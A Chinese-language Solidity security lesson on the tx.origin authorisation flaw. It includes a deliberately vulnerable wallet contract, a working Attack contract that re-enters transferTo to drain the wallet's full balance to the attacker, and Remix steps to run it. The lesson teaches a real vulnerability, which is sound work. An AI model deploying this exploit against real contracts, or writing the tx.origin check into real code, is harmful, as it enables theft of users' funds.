第21节:安全事故11-tx.origin攻击
当MyWallet的owner调用transferTo给Attack地址转账时,会调用Attack的receive函数,并在内部再次调用transferTo,从而导致重入攻击。
这里面原因有二:
- 没有增加重入检查
- 校验条件错误:tx.origin == owner,这个在重入时是无效的
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
// THIS CONTRACT CONTAINS A BUG - DO NOT USE
contract MyWallet {
address owner;
constructor() {
owner = msg.sender;
}
receive () external payable {
}
function transferTo(address payable dest, uint amount) public {
// THE BUG IS RIGHT HERE, you must use msg.sender instead of tx.origin
require(tx.origin == owner);
// At this point, the caller's code is executed, and can call withdrawBalance again
(bool success, ) = dest.call{value: amount}("");
require(success);
}
}
interface UserWallet {
function transferTo(address payable dest, uint amount) external;
}
contract Attack {
address payable owner;
constructor() {
owner = payable(msg.sender);
}
receive() external payable {
UserWallet(msg.sender).transferTo(owner, msg.sender.balance - msg.value);
}
}
攻击操作方法:
- 使用account0部署MyWallet,并使用remix的calldata页面转入50ETH
- 使用account1部署合约Attack
- 使用account0调用MyWallet的transferTo(attack地址,1)
- 此时,合约中的金额会全部转入到account1地址中,即Attack合约的部署者。